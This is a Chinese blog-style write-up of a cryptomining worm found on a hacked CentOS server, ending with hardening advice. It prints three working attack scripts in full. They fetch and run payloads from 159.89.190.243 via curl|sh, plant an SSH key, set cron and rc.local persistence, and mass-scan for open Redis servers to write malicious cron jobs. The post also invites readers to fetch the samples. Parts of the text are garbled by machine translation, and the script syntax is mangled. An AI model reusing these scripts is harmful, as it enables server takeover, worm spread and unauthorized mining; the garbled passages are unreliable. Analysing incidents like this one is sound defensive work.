周一早上刚到办公室的时候，听同事说有个服务器登录不了。我也没放在心上。我继续吃早餐，看看币价是不是又跌了。
一个不会运维的同事很快就到了，气喘吁吁的说：我们有一个服务器被阿里云冻结了。原因：恶意对外承包。
我放下酸菜包子，宋承宪连接，被拒绝了。我问默认端口22被屏蔽。
让运维同事换个端口马上连上。顺便看了下登录名：root，还有不到8位的小白密码。我心里一凉：被黑了！
查找线索
服务器CentOS 6。x已经部署了Nginx、Tomcat、Redis等应用。当你上来的时候，你必须在本地备份所有的数据库，然后你看看顶部的命令。有两个99%同名的进程还在运行，叫做gpg-agentd。
谷歌gpg，结果是：GPG提供的gpg-agent支持SSH协议，可以大大简化密钥管理。
它看起来像一个非常严肃的程序，但仔细看看服务器上的进程，后面跟着一个字母D，它伪装得很好，让人想起各种看起来像Windows上的svchost.exe的病毒。
继续故障排除：
PS eho command-p 23374 netstat-pan | grep 23374检查pid:23374进程启动路径和网络状态，即来到图1中的目录，黑客留下的二进制可执行文件已经在这里找到。
接下来，有两个问题等着我：
文件是如何上传的？这个文件的目的是什么，或者说黑客想做什么？历史，看看。记录被清除了，没有留下任何痕迹。命令更多消息继续：
看到半夜12点左右，服务器上安装了很多软件，有几个引起了我的注意。下面详细说说吧。
边看边猜。如果我们要做坏事，大概会在哪里大惊小怪，自动启动？定期开始？是，计划任务：
可以使用
果然，线索找到了。
作案动机
上述计划任务意味着每15分钟从服务器下载一个脚本并执行该脚本。
让我们下载脚本来看看：
curl-fssl 159.89.190.243/ash.php ash . sh脚本如下：
uname-a id hostname set enforce 0 2/dev/null ulimit-n 50000 ulimit-u 50000 crontab-r 2/dev/null RM-RF/var/spool/cron/* 2/dev/null mkdir-p/var/spool/cron/crontabs 2/dev/null mkdir-p/root/。ssh 2/dev/null echo ' ssh-RSA aaaaab 3n Zac 1 YC 2 eaaaadabaaabaaabaqdfb 19n 9 slq 6 umny 8 dvzmtqaqhrdhlmsxvjeud 4 aih 2 tbg 6 xk 5 pmwopteo 5 fhwro 11 DH 3 inlvxxx5 rra/okcwk 0 nkmmza 8 yglbijsq/zszyv 6 haf 51 fcbtxf 6 lkt 9g 4 lgozkpndhliwpwdpb/b 7 nzqydtmbpeocn 6 ohfyeimssh/authorized _ keys echo ' */15 * * * * curl-fsSL 159.89.190.243/ash.php|sh'/var/spool/cron/root echo ' */20 * * * * curl-fsS
L 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root yum install -y bash 2>/dev/null apt install -y bash 2>/dev/null apt-get install -y bash 2>/dev/null bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null 大致分析一下该脚本的主要用途：首先是关闭 SELinux，解除 Shell 资源访问限制，然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公钥。这样每次黑客登录这台服务器就可以免密码登录了，执行脚本就会方便很多。
接下来安装 Bash，最后是继续下载第二个脚本 bsh.php，并且执行。继续下载并分析 bsh.pbp，内容如下：
sleep $( seq 3 7 | sort -R | head -n1 ) cd /tmp || cd /var/tmp sleep 1 mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/... sleep 1 if < -f .watch >; then rm -rf .watch exit 0 fi sleep 1 echo 1 > .watch sleep 1 ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null sleep 1 if ! < -x /usr/bin/gpg-agentd >; then curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db echo '/usr/bin/gpg-agentd' > /etc/rc.local echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local echo 'exit 0' >> /etc/rc.local fi sleep 1 chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd sleep 1 if ! < -x "$(command -v masscan)" >; then rm -rf /var/lib/apt/lists/* rm -rf x1.tar.gz if < -x "$(command -v apt-get)" >; then export DEBIAN_FRONTEND=noninteractive apt-get update -y apt-get install -y debconf-doc apt-get install -y build-essential apt-get install -y libpcap0.8-dev libpcap0.8 apt-get install -y libpcap* apt-get install -y make gcc git apt-get install -y redis-server apt-get install -y redis-tools apt-get install -y redis apt-get install -y iptables apt-get install -y wget curl fi if < -x "$(command -v yum)" >; then yum update -y yum install -y epel-release yum update -y yum install -y git iptables make gcc redis libpcap libpcap-devel yum install -y wget curl fi sleep 1 curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz sleep 1 < -f x1.tar.gz > && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4 fi sleep 3 && rm -rf .watch bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null 这段脚本的代码比较长，但主要的功能有 4 个：
下载远程代码到本地，添加执行权限，chmod u+x。修改 rc.local，让本地代码开机自动执行。下载 Github 上的开源扫描器代码，并安装相关的依赖软件，也就是我上面的 Messages 里看到的记录。下载第三个脚本，并且执行。我去 Github 上看了下这个开源代码，简直吊炸天：
Transmitting 10 Million Packets Per Second(每秒发送 1000 万个数据包)，比 nmap 速度还要快，这就不难理解为什么阿里云把服务器冻结了。
大概看了下 Readme 之后，我也没有细究，继续下载第三个脚本：
setenforce 0 2>/dev/null ulimit -n 50000 ulimit -u 50000 sleep 1 iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null sleep 1 rm -rf .dat .shard .ranges .lan 2>/dev/null sleep 1 echo 'config set dbfilename "backup.db"' > .dat echo 'save' >> .dat echo 'flushall' >> .dat echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat echo 'config set dir "/var/spool/cron/"' >> .dat echo 'config set dbfilename "root"' >> .dat echo 'save' >> .dat echo 'config set dir "/var/spool/cron/crontabs"' >> .dat echo 'save' >> .dat sleep 1 masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .shard sleep 1 masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .ranges sleep 1 ip a | grep -oE '(<0-9>{1,3}.?){4}/<0-9>{2}' 2>/dev/null | sed 's/\/\(<0-9>\{2\}\)/\/16/g' > .inet sleep 1 masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan sleep 1 while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null & done < .lan sleep 60 rm -rf .dat .shard .ranges .lan 2>/dev/null 如果说前两个脚本只是在服务器上下载执行了二进制文件，那这个脚本才真正显示病毒的威力。下面就来分析这个脚本。
一开始的修改系统环境没什么好说的，接下来的写文件操作有点眼熟，如果用过 Redis 的人，应该能猜到，这里是对 Redis 进行配置。
写这个配置，自然也就是利用了 Redis 把缓存内容写入本地文件的漏洞，结果就是用本地的私钥去登陆被写入公钥的服务器了，无需密码就可以登陆，也就是我们文章最开始的 /root/.ssh/authorized_keys。
登录之后就开始定期执行计划任务，下载脚本。好了，配置文件准备好了，就开始利用 Masscan 进行全网扫描 Redis 服务器，寻找肉鸡。
注意看这 6379 就是 Redis 服务器的默认端口，如果你的 Redis 的监听端口是公网 IP 或是 0.0.0.0，并且没有密码保护，不好意思，你就中招了。
总结
通过依次分析这 3 个脚本，就能看出这个病毒的可怕之处，先是通过写入 ssh public key 拿到登录权限，然后下载执行远程二进制文件，最后再通过 Redis 漏洞复制，迅速在全网传播，以指数级速度增长。
那么问题是，这台服务器是怎么中招的呢?看了下 redis.conf，Bind 的地址是 127.0.0.1，没啥问题。
由此可以推断，应该是 Root 帐号被暴力破解了，为了验证我的想法，我 Lastb 看了一下，果然有大量的记录：
还剩最后一个问题，这个 gpg-agentd 程序到底是干什么的呢?我当时的第一个反应就是矿机，因为现在数字货币太火了，加大了分布式矿机的需求，也就催生了这条灰色产业链。
于是，顺手把这个 gpg-agentd 拖到 Ida 中，用 String 搜索 bitcoin，eth，mine 等相关单词，最终发现了这个：
打开 nicehash.com 看一下，一切都清晰了：
安全建议
服务器：
禁用 ROOT用户名和密码尽量复杂修改 SSH 的默认 22 端口安装 DenyHosts 防暴力破解软件禁用密码登录，使用 RSA 公钥登录Redis：
禁用公网 IP 监听，包括 0.0.0.0使用密码限制访问 Redis使用较低权限帐号运行 Redis到此，整个入侵过程基本分析完了，如果大家对样本有兴趣，也可以自行去 Curl，或是去虚拟机执行上面的脚本。鉴于本人能力有限，文中难免会出现疏忽或是错误，还请大家多多指正。
